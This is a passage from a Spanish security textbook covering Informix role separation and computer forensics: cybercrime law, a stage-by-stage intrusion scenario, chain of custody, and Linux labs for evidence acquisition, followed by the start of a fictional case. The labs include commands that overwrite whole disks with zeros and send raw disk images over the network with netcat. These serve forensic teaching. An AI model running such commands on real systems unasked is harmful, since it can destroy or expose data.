computacionales se requieren y el rendimiento puede impactarse
Se debe recordar que cada campo cifrado se aumenta en tamanio unas 3 veces, es decir si temos
15 bytes para cifrar es muy probable que el resultado cifrado pese unos 45 bytes en promedio
Es ideal mantener la misma clave para toda la columna, pero a veces es imposible
No deben crearse ndices sobre las columnas cifradas, al descifrarlas el ndice ya no sirve pues una
misma cadena genera diferentes textos cifrados, de nada sirven los textos cifrados en las consultas

8.0

Roles en IDS 11

8.1

Que dice la norma ISO 27002:2005 respecto de los Roles?

La norma ISO 27002:2005 sugiere los roles con el fin de disminuir los riesgos y los errores que acarrean el
tener un sola persona con tanta responsabilidad centralizada.
IBM Informix IDS propone los siguientes roles para dar cumplimiento a las diferentes normas que sugieren
proteger la informacion basados en los parmetros confidencialidad, integridad y disponibilidad.

8.1.1
Database server administrator (dbsa): Esta cuenta de usuario es la responsable de instalar y
configurar el motor de bases de datos, adems debe afinar, mantener las instancias de datos, resolver
problemas y hacer y restaurar los backups.
8.1.2
Database system security officer (dbsso): Define las auditorias para usuarios especficos en las
bases de datos locales.
8.1.3
pistas.

Audit analysis officer (aao): Es el responsable de configurar la auditoria y hacer los seguimientos de

8.1.4

Database adminisytrator (dba): Hace mantenimiento a las bases de datos locales

8.1.5
Operating system administrator (osa): Define y mantiene las cuentas de los usuarios, instala el
motor de la base de datos, cambia los grupos y crea los perfiles de los usuarios. Mantiene los parmetros del
kernel y configura los limites de los recursos del sistema, como la memoria y la cpu.
8.1.6

Usuarios: Ejecutan las aplicaciones que utilizan las bases de datos.

8.1.7
Usuarios priviligiados: Define las cuentas de los usuarios informix y root como usuarios con niveles
de permisos priviligiados.
Cuando se instala el IBM Informix IDS 11 este le preguntara si desea habilitar la separacin de roles, esta
configuracin queda almacenada en el archivo/fichero /usr/informix/dbssodir/seccfg con los siguientes
permisos:

drwxrwxr-x
drwxr-xr-x
-rw-r--r--rw-rw----

2
33
1
1

informix
informix
informix
informix

dbsso 256
informix 4096
dbsso 846
dbsso 10

Aug 23 15:43 .
Aug 23 16:08 ..
Jul 25 10:02 adtmasks.std
Jul 25 10:02 seccfg

Bibliografia

Security and compliance solutions for IBM Informix Dynamic Server 11, IBM, Marzo de 2008, Wheijen chen.

515

PARTE V

INVESTIGACION FORENSE

516

Captulo 21
Investigacin en Computacin Forense

1.0

El cibercrimen

Los principales actores hacia una legislacin internacional han sido hasta ahora el Consejo de Europa (COE) y
el G-8, Estados Unidos se ha mantenido activo tanto en el desarrollo como en la promocin de estos
esfuerzos de legislacin global.
En el ao 2001 se adopta la Convencin sobre Cibercrimen del Consejo Europeo, que requiere la cooperacin
entre pases para la investigacin de los cibercrmenes, an si el "crimen" a investigar no fuera considerado
tal en el pas al que se le requiere informacin.
El cibercrimen se fortalece por el desconocimiento de los riesgos e implicaciones de las tecnologas de
informacin en los negocios, en el gobierno, en la educacin en la salud y en general en la sociedad de la
informacin.
El cibercrimen crece aparentemente en forma inocente porque libremente en Internet se encuentran
herramientas para explotar vulnerabilidades de los activos de informacin como www.metaesploit.org y es
entonces cuando las nuevas generaciones de terroristas ven en estos portales inocentes una oportunidad de
hacerse sentir y por ello estn creciendo en nuestro actual mundo digital.

Que es el cibercrimen


El alcance de este trmino es an incierto,


curiosamente el trmino aparece en el portal
www.wikipedia.org, as: Cybercrime is a term
used broadly to describe activity in which
computers or networks are a tool, a target, or
a place of criminal activity.
These categories are not exclusive and many
activities can be characterized as falling in one
or more categories.

Las autoridades de nuestros pases tienen graves limitaciones de presupuesto y en general estn atados a la
lentitud de la ley para entender o tipificar estas nuevas formas de delitos, por ello la mentalidad de los
criminales es la misma respecto de delitos informticos, Internet es solo un nuevo canal para cometer delitos

2.0

El Ciberterror

Es la convergencia entre el terrorismo y el ciberespacio, son las amenazas contra la infraestructura


informtica y la informacin de un gobierno o empresa causando dao a sistemas crticos para buscar el

517

Parte V, Captulo 21 Investigacin/Computacin forense

pnico. En general los ciudadanos no somos muy consientes pero el ciberespacio esta bajo constante ataque,
algunos autores le llaman bomba lgica, Por el momento el carro-bomba representa una mayor amenaza
que la bomba lgica. Dorothy E. Denning
En wikipedia se define el Ciberterrorismo o Terrorismo electrnico como el uso de medios de
tecnologas de informacin, comunicacin, informtica, electrnica o similar con el propsito de generar
terror o miedo generalizado en una poblacin o clase dirigente o gobierno, causando con ello una violencia a
la libre voluntad de las personas. Los fines pueden ser Econmicos, Polticos, Religiosos, o simplemente de
odios o prejuicios

Ciberterror
No lo sentimos Y pero el ciberespacio
esta bajo constante ataque
 Por el momento el carro-bomba
representa una mayor amenaza que la
bomba lgica. Dorothy E. Denning


3.0

Escenario de intrusin ms utilizado en los incidentes informticos

3.1

Reconnaissance

El intruso hace reconocimiento de la vctima mediante pruebas de conectividad con los comandos ping,
traceroute, dig, nslookup, enumeracin de servicios (ejemplo nmap) y finalmente hace anlisis de
vulnerabilidades (ej: Nessus, GFI Lan Guard)
3.2: Exploitation
El intruso basado en el anlisis de vulnerabilidades busca el cdigo que ataca la vulnerabilidad, es de
conocimiento pblico que el objetivo ms atacado es el servidor web, esto se hace mediante exploits o
encontrando errores de validacin en formularios, es frecuente que esto se haga desde un IP diferente al IP
desde donde se hizo el reconocimiento de las vulnerabilidades de la vctima
3.3: Reinforcement
El intruso estando dentro de la vctima obtiene sus herramientas o utilitarios de ataque usando tftp, ftp, scp,
luego borra las pistas de la penetracin e instala un backdoor o puerta trasera para prximas penetraciones,
generalmente se le pone suplementos al sistema para evitar que otro atacante entre a la vctima.
3.4: Consolidation
Usando otro IP diferente a los anteriores penetra la vctima por medio del backdoor o puerta trasera ya
instalada que escucha por un puerto de tipo servidor, otra opcin utilizada es que un proceso en la vctima
cliente denominado IRC Internet Relay Chat llama al servidor del atacante y permite ejecutar comandos
remotos hacia la vctima.

3.5: Pillage
El intruso ejecuta la ltima parte del plan, generalmente roba informacin crtica y ataca a otras vctimas
basados en el IP de la vctima anterior entonces podra hacer lo que desee con nuestro servidor atacado

4.0

Marco Legal de los delitos

518

Parte V, Captulo 21 Investigacin/Computacin forense

En la mayora de los pases latinoamericanos faltan normas y leyes para tratar los delitos informticos, la
falta de legislacin nos lleva a que la conducta punible no sea castigada, pero no todo es malo y estamos
evolucionando por ejemplo en Colombia existe la ley 527 de comercio electrnico que busca un marco
jurdico robusto.

Educar y concientizar a los usuarios


Colombia necesita un marco jurdico
robusto
 Capacitar al personal tcnico en
seguridad informtica
 Crear grupos elite en las organizaciones
 Seguir estndares 17799, 27001, etc
 Crear cultura de investigacin forense


Hay una evolucin importante durante el periodo 2007 con la actualizacin del cdigo penal, pero el autor de
este documento sugiere educar y concientizar a los usuarios, capacitar al personal tcnico en seguridad
informtica, crear grupos elite en las organizaciones, seguir los estndares ISO 17799:2005/ISO IEC
27002:2005 e ISO IEC 27001, en concreto se debe crear una cultura de investigacin forense.

5.0

Computacin Forense o investigacin forense de sistemas de informacin

En Europa se utiliza ms el trmino anlisis o investigacin forense de sistemas de informacin pero en el


continente americano se utiliza la expresin Computacin Forense, en este documento significa lo mismo.
Lo importante es que es un instrumento para resolver conflictos informticos, es la aplicacin de la ciencia
de la computacin a la investigacin criminal cuando se intervienen elementos informticos.
La usan los investigadores para reconstruir eventos y generar pistas de cmo se hizo el delito, la validez de
la evidencia depende de la rigurosidad de los procedimientos utilizados es por ello que la cadena de custodia
cuando se toman las pruebas debe ser muy rigurosa para que las pruebas sean validas ante la ley.
La computacin o investigacin forense requiere formacin interdisciplinaria: es decir expertos en derecho,
criminalistas, tecnologas de informacin, psicologa, expertos en seguridad informtica.

Computacin Forense


Provee a partir de principios y/o


tcnicas cientficas, la posibilidad de
metodolgicamente identificar,
recuperar, reconstruir, o analizar
evidencia digital dentro de una
investigacin de un incidente
informtico, o un caso en el que se
encuentren computadores
involucrados. Casey

Veamos algunas definiciones importantes de computacin o investigacin forense:

519

Parte V, Captulo 21 Investigacin/Computacin forense

5.1
Computacin/Investigacin forense: Provee a partir de principios y/o tcnicas cientficas, la
posibilidad de metodolgicamente identificar, recuperar, reconstruir, o analizar evidencia digital dentro de
una investigacin de un incidente informtico, o un caso en el que se encuentren computadores
involucrados. Casey
5.2
Computacin/Investigacin forense: Hace entonces su aparicin como una disciplina auxiliar de la
justicia moderna, para enfrentar los desafos y tcnicas de los intrusos informticos, as como garante de la
verdad alrededor de la evidencia digital que se pudiese aportar a un proceso, Jeimy J. Cano, Revista
Sistemas Acis, numero 96, abril-junio 2006
5.3
La investigacin de evidencia digital o anlisis forense de sistemas de informacin, es el conjunto
de tcnicas, protocolos y conocimientos dirigidos a identificar, analizar, preservar y aportar evidencias
digitales, de manera que sean vlidas en un marco judicial. Comprende la identificacin, extraccin,
preservacin y respaldo documental de la evidencia en entornos digitales de procesado y almacenamiento de
la informacin, Daniel cruz allende, Ingeniero tcnico en Informtica de gestin por la Universidad
politcnica de Catalua, profesor www.uoc.edu, 2007.

6.0

Equipo de atencin a incidentes

Antes de ordenar una investigacin forense se debe hacer la atencin del incidente para diagnosticar si es
necesario llegar a tal punto, pues los costos pueden ser altos dado que se podra necesitar la ayuda de un
tercero experto sino se cuentan con los expertos internamente.
Es interesante que en las organizaciones se tenga un rea para atencin de incidentes pero a veces se
confunde con la investigacin forense, no son lo mismo y solo debemos hacer investigacin forense cuando
sea absolutamente necesario.

Equipo de atencin a incidentes




Antes de ordenar una investigacin


forense se debe hacer la atencin del
incidente para diagnosticar si es
necesario llegar a tal punto, pues los
costos pueden ser altos dado que se
podra necesitar la ayuda de un tercero
experto sino se cuentan con los expertos
internamente.

Un incidente debe ser tratado con las recomendaciones minimas forenses para precautelar la evidencia
colectada ante la posibilidad de la comision de un delito que tenga que ser investigado posteriormente,
Guido Rosales, Lista de seguridad Segurinfo, Septiembre de 2007.

Generalmente se encuentran los siguientes roles en las organizaciones que toman en serio la norma ISO
17799:2005/ISO 27002:2005 en cuanto a la atencin de incidentes:

Asistente administrativo en delitos de alta tecnologa


Investigador asociado (generalmente un externo)
Analistas de delitos
Ingeniero de seguridad certificado

Se deben analizar los incidentes de seguridad que sean ms frecuentes y estudiar la forma de resolverlos
con acciones que minimicen el impacto del incidente.
Se deberan recoger una serie de registros de todos los incidentes de seguridad, de manera que de su
anlisis se puedan extraer conclusiones que permitan deducir si han sido provocados de forma voluntaria o
no. Estas evidencias deben guardarse de manera que nadie pueda modificarlas ni eliminarlas. Adems,
deben estar disponibles para cualquier anlisis por parte de las personas que se encargan de su gestin.
Se deben tener en consideracin los posibles requisitos que hay que cumplir, que se reflejan en la legislacin
actual, para que estas evidencias puedan utilizarse en procesos judiciales.

520

Parte V, Captulo 21 Investigacin/Computacin forense

7.0

La evidencia Digital

Se le llama evidencia digital a cualquier registro generado o almacenado en un sistema de cmputo que
pueda ser utilizado como evidencia en un proceso legal
Veamos algunas definiciones:
Cualquier informacin, que sujeta a una intervencin humana u otra semejante que ha sido extrada de un
medio informtico, HB:171 2003 Guidelines for the Managment of IT evidence.
Una vez reconocida la evidencia digital debe ser preservada en su estado original. Se debe tener en mente
que la ley requiere que la evidencia sea autentica y sin alteraciones. Casey
Es necesario que cambie la forma como las reglas formalistas del derecho de la prueba deben ser
interpretadas, o en el peor de los casos reformuladas, ya que actualmente en Colombia es muy poco lo que
se valora a las tecnologas informticas en disposiciones legales. Daniel Torres Falkonert

8.0

Caractersticas de la evidencia digital

Es la materia prima de los investigadores, es voltil y annima, es modificable, es decir se puede duplicar,
borrar o alterar pero son parte fundamental de la escena del delito, si se compromete la evidencia se puede
perder el caso administrativo o legal de la investigacin forense.
Es crtico recordar que la evidencia se puede duplicar y aun as esta copia es original respecto de los
entornos digitales.

Aseguramiento de la evidencia
 Una

vez reconocida la evidencia


digital debe ser preservada en su
estado original. Se debe tener en
mente que la ley requiere que la
evidencia sea autentica y sin
alteraciones. Casey

9.0

La cadena de custodia

El propsito e la cadena de custodia es llevar un registro cronolgico y secuencial de los movimientos de la


evidencia que deben estar siempre documentados, esto hace fcil encontrar los responsables de la
alteracin. La cadena de custodia se debe iniciar al llegar al sitio del incidente.

9.1

Datos crticos para llevar la cadena de custodia

Marcas de evidencia, Hora y fecha, Numero de caso, Numero de la marca de la evidencia, Firma de la
persona que posee la informacin, quien tena la informacin o por quien fue provista
9.2

Regla de oro de la investigacin forense

Proteja el original: Se debe proteger el original en orden descendente de volatilidad, se deben tomar fotos de
los equipos por sus diferentes lados, se deben usar medios estriles para no contaminar las pruebas y
finalmente se debe usar software licenciado o preferiblemente software open source
9.3

Documentar

521

Parte V, Captulo 21 Investigacin/Computacin forense

Se deben asegurar las pruebas haciendo correlacin entre estas, se debe reconstruir el escenario teniendo
en cuenta que los relojes de los sistemas pueden estas sin sincronizar
9.4

Presentacin de la evidencia

La legislacin colombiana no da guas de cmo presentar la informacin y si la evidencia debe interpretarse


en la corte entonces se recomienda un informe impreso de tipo ejecutivo pero no sobra un informe adicional
de bajo nivel que no debe exponerse ante el juez
El informe debe contener:

Resumen ejecutivo del incidente


Detallar los procedimientos utilizados
Explicar datos relevantes e hiptesis
Evitar siempre los tecnicismos
Se recomienda incluir un glosario para que otros puedan leer el informe

Ms adelante se mostrara en el apartado protocolo de comportamiento para una investigacin forense.

10.

Herramientas para la investigacin forense

Como estacin forense para adquisicin de datos y anlisis de datos se recomienda como mnimo:

Un Portatil con procesador Intel Quad Core o Dual Core


4GB 6GB en RAM
Disco duro interno de 500GB o 1TB de tecnologa SATA
Puerto interno firewire, puerto interno e-sata, puertos internos USB, puerto interno para tarjeta de
expanin smart card
Lector de huella digital, cmara de video, unidad de floppy forene, unidad forense para tarjetas de
memoria de cmaras fotograficas
Maleta tipo CASE para transportar en forma segura la estacin forense

Productos muy recomendados por el autor para hacer investigacin forense se encuntrn en el siguiente url:
www.digitalintelligence.com, en especial se recomienda la estacin forense FRED-L.

Existen bloqueadores para hacer adquisicin de datos que dan proteccin contra la escritura de la evidencia
denominados en ingles BLOCKERS, este fabricante DigitalIntelligence le llama a este conjunto de
dispositivos Ultrakit:

522

Parte V, Captulo 21 Investigacin/Computacin forense

Generalmente esta maleta o CASE agrupa los bloqueadires contra escritura con sus cables para conectarse a
la estacin forense para copiar evidencia.
La siguiente figura muestra un bloqueador que permite leer medios SCSI hacia la estacin forense por medio
de las siguientes conexiones:
a)
b)
c)
d)

Puerto
Puerto
Puerto
Puerto

USB 2.0 (125 Mbps/15 MB, tericamente 485 Mbps)


1394A (400 Mbps/50 MB)
1394B (800 Mbps/100 MB)
e-sata (1.5Gbps/150MB)

Tambin existen otros que permiten hacer adquisicin de datos bloqueando la escritura del medio para
medios IDE, SATA y USB.
Otro fabricante recomendado para adquirir las herramientas de hardware para adquisicin de datos con
nfasis en el sector gubernamental es www.corpsys.com, la siguiente figura muestra un ejemplo del kit:
Este kit para adquisicin y anlisis de datos con nfasis militar esta en elsitio web del fabricante
http://www.icsforensic.com

Otros sitios web interesante de fabricantes de herramientas forenses son:

http://geekswithblogs.net/tpatel/archive/2004/05/24/5274.aspx (Lo usa el CTI de Colombia)


http://www.yec-usa.com/products/ninja_forensic.html
http://www.storagesearch.com/diskdupe.html
http://www.metarescue.com/servlet/Categories?category=Hard+Drive+Forensic+Duplicators
http://www.icsiq.com/index.cfm/action/catalog.browse?startrow=81&maxrows=20&action/catalog.browse/id_category/
http://www.upgradesolutions.com/products/imagemassterforensic.html

10.1.

Duplicacin forense

523

Parte V, Captulo 21 Investigacin/Computacin forense

Herramientas dd, dd_rescue, dcfldd, ned, FTK Imager.

10.2.

Aplicaciones para automatizar la recoleccin

Herramientas EnCase, FTK y Sleuth Kit.

524

Parte V, Captulo 21 Investigacin/Computacin forense

10.3.

laboratorios con las herramientas Open Source mas conocidas

Laboratorio:
Medios esterilizados para salvaguardar evidencias
Objetivos:
Preparar el disco externo USB para guardar evidencia de computacin forense, antes de hacer toma de datos
deben estar los medios esterelizados para no contaminar la evidencia

Paso 1: Dele potencia al computador portatil con el cd Live linux BackTrack


En la lnea de comandos verifique que tipo de disco duro posee la estacin del investigador, si el disco es de
tipo SATA entonces el comando cfdisk /dev/sda mostrara las particiones sda1, sda2, etc
Si el disco duro es de tipo IDE entonces el comando cfdisk /dev/hda mostrara las particiones hda1, hda2, etc

Paso 2: Inserte el disco externo USB


Algunos linux reconocen de inmediato la unidad externa en formato windows y de inmediato las montan en
los puntos de montaje /mnt/sda1 para la primera particin, /mnt/sda2 para la segunda particin.
Lo anterior es cierto si el disco interno es IDE, pero si el disco externo es SCSI o SATA existir /dev/sda
entonces el disco externo sera /dev/sdb.
Si existen particiones entonces en /dev/sdb podra existir /dev/sdb1 para la primera particin externa,
/dev/sdb2 para la segunda particin externa.

Paso 3: Inicialice el disco externo para no contaminar la evidencia


# dd if=/dev/zero of=/dev/sdb conv=notrunc,noerror,sync, esto es para el disco externo SATA o SCSI
# dd if=/dev/zero of=/dev/hdb conv=notrunc,noerror,sync, esto es para el disco externo IDE
Para un disco externo USB de 1 GB SATA durara en promedio 20 minutos con un tamao de bloque de
512bytes, cuando el comando dd no se le digita el parmetro bs, este usara por defecto bs=512
Pruebe el siguiente comando para un tamao de bloque de 1 megabyte:
# dd if=/dev/zero of=/dev/sdb conv=notrunc,noerror,sync bs=1M
Esto es para el disco externo SATA o SCSI duraria en promedio 4 minutos
Otra herramienta muy utilizada en cambio de dd por su velocidad es dd_rescue, la sintaxis seria:
# dd_rescue /dev/zero /dev/sdb

Paso 4: Cree una particin en el disco externo cuando est limpio


#cfdisk /dev/sdb
Proceda a crear por lo menos una particin, que para este caso sera /dev/sdb1.

Paso 5: Cree un sistema de archivo ext3fs o reiserfs para guardar datos en el disco externo
# mkfs t ext3 /dev/sdb1 para discos de tipo SCSI o SATA
# mkfs t ext3 /dev/hdb1 para discos de tipo IDE, ahora el disco externo estar listo para ser utilizado.

Paso 6: Cree un hash del disco externo cuando el disco externo est listo para la adquisicion
#sha1sum b /dev/sdb > sdb.sha1sum

525

Parte V, Captulo 21 Investigacin/Computacin forense

#md5sum b /dev/sdb > sdb.md5sum


Verifique que este correcto el hash:
# sha1sum c sdb.sha1sum
Deber ver la palabra OK, si todo esta correcto
# md5sum c sdb.md5sum
Deber ver la palabra OK, si todo esta correcto

Cuestionamientos

Pruebe los siguientes comandos:


#
#
#
#

time
time
time
time

dd if=/dev/zero of=/dev/sdb conv=notrunc,noerror,sync bs=512


dd if=/dev/zero of=/dev/sdb conv=notrunc,noerror,sync bs=1M
dd if=/dev/zero of=/dev/sdb conv=notrunc,noerror,sync bs=100M
dd_rescue /dev/zero /dev/sdb

Observe la salida del comando time, cual es ms eficiente en cuanto al tiempo de proceso?

526

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Creando un archivo/fichero de evidencia en una estacin forense Adquisicion de datos
Objetivo: Hacer una copia exacta del disco sospechoso para guardar la evidencia, esto es muy conocido
como fase adquisicin de datos de la investigacin forense
Prerrequisitos: Asegrese que la BIOS de la estacin forense este haciendo arranque por medio del
CDROM/DVD y no por medio de las unidades USB externas, no debe hacerse arranque desde el disco
sospechoso pues se modificara la evidencia
Paso 1: Conecte el disco de sospechoso en la unidad USB externa mediante un convertidor si es necesario,
no olvide configurar el interruptor en solo lectura, algunos Linux montan en forma automtica el medio
externo y modifican la evidencia
Paso 2: Dele potencia porttil o estacin forense con el cd Live linux BackTrack
Paso 3: En la lnea de comandos verifique la identificacin del disco sospechoso con la herramienta dmesg
Tome nota, por favor escriba cual es la cadena que identifica al disco forense y cul es la cadena que
identifica al disco sospechoso, por ejemplo:
/dev/sda identifica mi primer disco de trabajo interno y almacenamiento de informes personales
/dev/sdb identifica mi disco forense para hacer duplicacin o guardar evidencias
/dev/sdc identifica el disco sospechoso al que se le hara la adquision de datos.

Paso 4: Monte el disco externo de duplicacin forense (el que se hizo en laboratorio anterior)
# mount /dev/sdb1 /mnt/sdb1
Verifique que monto el disco forense y no el sospechoso, para este caso debe ser /dev/sdb

Paso 5: Cree una carpeta del caso investigado en el disco forense (donde se guarda la evidencia)
# mkdir -p /mnt/sdb1/caso-0001/evidencia-0001

Paso 6: Duplique la evidencia


# cd /mnt/sdb1/caso-0001/evidencia-0001
# dd if=/dev/sdc of=sdc conv=notrunc,noerror,sync bs=100M
Al finalizar la herramienta dd, se mostraran datos en el siguiente formato:
xxxx + y records in
zzz + w records out
Nota explicativa:

xxxx, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron leer desde el medio sospechoso
y, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron leer
desde el medio sospechoso
zzzz, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron grabar al medio de almacenamiento forense
w, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron
grabar al medio de almacenamiento forense

527

Parte V, Captulo 21 Investigacin/Computacin forense

Paso 7: De permisos de solo lectura a la evidencia


# chmod 444 sdc

Paso 8: Cree un hash de la copia de la evidencia para garantizar la confidencialidad de la misma


#sha1sum b sdc > sdc.sha1sum
#md5sum b sdc > sdc.md5sum
Verifique que este correcto el hash:
# sha1sum c sdc.sha1sum, deber ver la palabra OK, si todo esta correcto
# md5sum c sdc.md5sum, deber ver la palabra OK, si todo esta correcto

Paso 9: De permisos de solo lectura al hash de la evidencia


# chmod 444 sdc.sha1sum
# chmod 444 sdc.md5sum
Nota: Se recomienda que estos pasos se hagan frente a un perito forense acompaado de un notario si el
caso se llevara a instancias judiciales.

Cuestionamientos

Si el anlisis forense se hace en Microsft Windows utilizando la herramienta comercial EnCase los archivos
de toma de datos deben ser de mximo 2GB por lo que lo explicado en este laboratorio no funcionaria en
Windows con la mencionada herramienta.
Existen varias formas de hacer que la evidencia de ms de 2GB sea particionada en pedazos de mximo
2GB, por ejemplo:
# dd if=/dev/sdc of=sdc.1 conv=notrunc,noerror,sync count=3000000 skip=0, Para los 1.5 primeros GB.
# dd if=/dev/sdc of=sdc.2 conv=notrunc,noerror,sync count=3000000 skip=3000000, Para los siguientes
1.5 GB.
El numero 3000000 se debe a que bloques de 512 bytes x 3000000 = 1.5GB que es menor a 2GB que es lo
mximo permitido por EnCase a la fecha.
Prueba otras estrategias como:

EXT2IFS de www.fs-driver.org
Pruebe la herramienta split de Linux, as split b 2000000000 sdc sdc.

528

Parte V, Captulo 21 Investigacin/Computacin forense

Notas importantes:
Fat32: Para un sistema de archivos FAT32 o VFAT de Microsoft los archivos de evidencias creados con la
herramienta dd no podrn tener mas de 4GB, es decir es un error usar el sistema de archivos FAT32 para
guardar evidencia de mas de 4GB.
LVM: Cuando se han utilizado herramientas como la suministrada por IBM LVM (Large Volume managment)
no se podrn accederlos para copiarlos en forma individual, para ello digite en tiempo de arranque con el
LIVE CD:
# vgscan -mknodes
El comando anterior nos informara si existe un grupo de discos
# vgchange a y
Esto creara un dispositivo o apuntador que identificara el volumen o los volmenes existentan en el
directorio /dev/mapper, para el caso de un SUSE 10 server se encontr el volumen system-vol00.
Como regla general siempre es recomendable verificar el directorio /dev/mapper.

529

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Creando un archivo/fichero de evidencia desde una estacin Linux de la red hacia una estacin forense linux
Objetivo:

Por medio de la red hacer una copia exacta del disco sospechoso para guardar la evidencia, esto es
muy conocido en la fase adquisicin de datos en red para la investigacin forense

Las maquinas sospechosas y la estacin forense son de tipo linux


Paso 1: Dele potencia al porttil o estacin forense con el cd Live linux BackTrack

Paso 2: En la lnea de comandos verifique la identificacin del disco forense con la herramienta dmesg
/dev/sda identifica mi primer disco de trabajo interno y almacenamiento de informes personales
/dev/sdb identifica mi disco forense para hacer duplicacin o guardar evidencias

Paso 3: Monte el disco externo de duplicacin forense (el que se hizo en laboratorio anterior)
# mount /dev/sdb1 /mnt/sdb1
Verifique que efectivamente monto el disco forense en /mnt/sdb1.

Paso 4: Cree una carpeta del caso investigado en el disco forense (donde se guarda la evidencia)
# mkdir -p /mnt/sdb1/caso-0001/evidencia-0001
# cd /mnt/sdb1/caso-0001/evidencia-0001

Paso 5: Active el servicio netcat (nc) en la estacin forense


Suponga que el IP de la estacin forense es 192.168.100.55
# nc l 192.168.100.55 p 2222 > sdc
La opcin l del comando nc indica que la estacin forense ahora es un servidor forense y escucha en la red
en la IP 192.168.100.55 por el puerto 2222. El puerto se indica con la opcin p de puerto.

Paso 6: Duplique la evidencia envindola desde la maquina sospechosa a la estacin forense


Parese en la estacin Linux sospechosa, con el comando dmesg identifique el disco sospechoso, suponga que
se llama /dev/sdc
# dd if=/dev/sdc conv=notrunc,noerror,sync | nc 192.168.100.55 2222
Al finalizar la herramienta dd, se mostraran datos en el siguiente formato:
xxxx + y records in
zzz + w records out
Nota explicativa:

xxxx, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron leer desde el medio sospechoso
y, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron leer
desde el medio sospechoso
zzzz, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron grabar al medio de almacenamiento forense
w, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron
grabar al medio de almacenamiento forense

530

Parte V, Captulo 21 Investigacin/Computacin forense

Paso 7: De permisos de solo lectura a la evidencia


Posicinese en la estacin de investigacin forense cuando la copia termine y cambie los permiso a solo
lectura.
# cd /mnt/sdb1/caso-0001/evidencia-0001
# chmod 444 sdc

Paso 8: Cree un hash de la copia de la evidencia para garantizar la confidencialidad de la misma


#sha1sum b sdc > sdc.sha1sum
#md5sum b sdc > sdc.md5sum
Verifique que este correcto el hash:
# sha1sum c sdc.sha1sum
Deber ver la palabra OK, si todo esta correcto
# md5sum c sdc.md5sum
Deber ver la palabra OK, si todo esta correcto

Paso 9: De permisos de solo lectura al hash de la evidencia


# chmod 444 sdc.sha1sum
# chmod 444 sdc.md5sum

Nota: Se recomienda que estos pasos se hagan frente a un perito forense acompaado de un notario si el
caso se presentara en instancias judiciales.

Cuestionamientos

Se debe subir el servicio netcat cada vez que se desee transferir archivos?
Qu pasara si no se hace el hash de cada transferencia?
Qu pasara si un notario no est presente cuando se hace la toma de datos y esto se ventila ante
el juez cuando se est sustentando la prueba?

531

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Analisis de datos con Sleuth Kit & Autopsy

Agradecimientos:
Se le agradece al Ing. Omar Becerra, Ing. Electronico de la Universidad Autonoma de Colombia por el
aporte y dedicacin para mejorar este laboratorio: omar.becerra@globalteksecurity.com

Antecedentes:
Sleuth Kit es un conjunto de herramientas creados por Dan Farmer y Wietse Venema y derivadas de The
Coroner's Toolkit (TCT). La aplicacin funciona sobre Unix y linux, es capaz de analizar sistemas FAT, NTFS
o ext2/3. Autopsy es el frontend grfico, basado en web, para Sleuth Kit, y permite gestionar va web la
investigacin de diversas imgenes. Al tratarse de una aplicacin web, la aplicacin se puede trabajar
mediante el uso de un navegador web.
El software puede ser descargado de la pgina web del proyecto: http://www.sleuthkit.org/, y compilarse
sobre el sistema operativo, sin embargo existen herramientas que implementan este software y facilitan su
uso, la herramienta a utilizar durante esta prctica es el live CD Helix pero tambin funciona en BackTrak.
Los ejemplos que se muestran a continuacin se basan en la versin 2.08 de Autopsy, compilado en el live
CD BackTrak)
Para este laboratorio se ha tomado un caso ficticio del portal www.honeynet.org, el caso completo se
encuentra en el siguiente URL: http://www.honeynet.org/scans/scan24/sol/kalil/, cuyo autor es Dan Kalil y
se ha elegido este caso para ilustrar el anlisis de un diskette con informacin que acusa al criminal.

532

Parte V, Captulo 21 Investigacin/Computacin forense

El autor ha confirmado y a la fecha esta herramienta solamente soporta los siguientes sistemas de archivos:
ext, ext2, ext3, fat, ntfs, ufs, iso9660, fat12, fat16, fat32, bsdi, freebsd, openbsd, solaris, raw y swap.

Tarea:

Busque en internet como dar a soporte a los sistemas de archivos Unix de SCO, por ejemplo HTFS

Como podra soportarse reiserfs y Veritas?

Informe Policial suministrado al analista forense


Joe Jacobs de 28 aos fuera arrestado el da de ayer con cargos de vender drogas ilegales a estudiantes de
un colegio. Uno de los agentes que trabajaba encubierto como un estudiante, fue abordado por Jacobs en el
estacionamiento del colegio Smith Hill. ste le pregunt al agente si le gustara comprar marihuana.
Antes de que el agente pudiera responder, Jacobs sac algo de su bolsillo y se lo mostr al oficial. Luego le
dijo "mire esta mercanca, los colombianos no podran cultivarla mejor! Mi proveedor no slo me la vende
directamente a mi, sino que la cultiva el mismo".
Jacobs ha sido visto en numerosas ocasiones en los alrededores de varios colegios en las horas que terminan
su jornada de clases. Personal de los colegios ha informado a la polica sobre la presencia del sospechoso en
las cercanas del colegio y han notado un incremento en el consumo de drogas en los estudiantes desde su
llegada.
La polica necesita su ayuda. Ellos quieren determinar si Joe Jacobs ha estado vendiendo droga a estudiantes
de otros colegios aparte del Smith Hill. El problema es que los estudiantes no se acercarn voluntariamente
a ayudar a la polica. Basados en los comentarios del sospechoso acerca de los colombianos, la polica est
interesada en saber quin es el proveedor/cultivador de la marihuana.
El sospechoso ha negado vender drogas en otros colegios diferentes al Smith Hill y se rehsa a darle a la
polica el nombre de su proveedor. Tambin se niega a validar lo que le dijo al agente encubierto justo antes
de su arresto.
Luego de conseguir una orden judicial para hacer un allanamiento en la casa del sospechoso la polica pudo
obtener una pequea cantidad de marihuana. Adicionalmente, se encontr un disco flexible de computadora,
sin embargo no se encontr ningn equipo informtico ni otro medio durante allanamiento.
Al no saber qu hacer, la polica le ha entregado a usted el disco flexible que fue encontrado. Ellos quieren
que usted lo examine y responda algunas preguntas segn la evidencia digital que encuentre. Quieren que
preste especial atencin a cualquier informacin que pueda probar que Joe Jacobs estaba efectivamente
vendiendo drogas en otros colegios. Adicionalmente, quieren que trate de determinar si es posible quin es
el proveedor de la marihuana.
Debido a que la cantidad de droga encontrada no es suficiente para mantener bajo arresto del sospechoso,
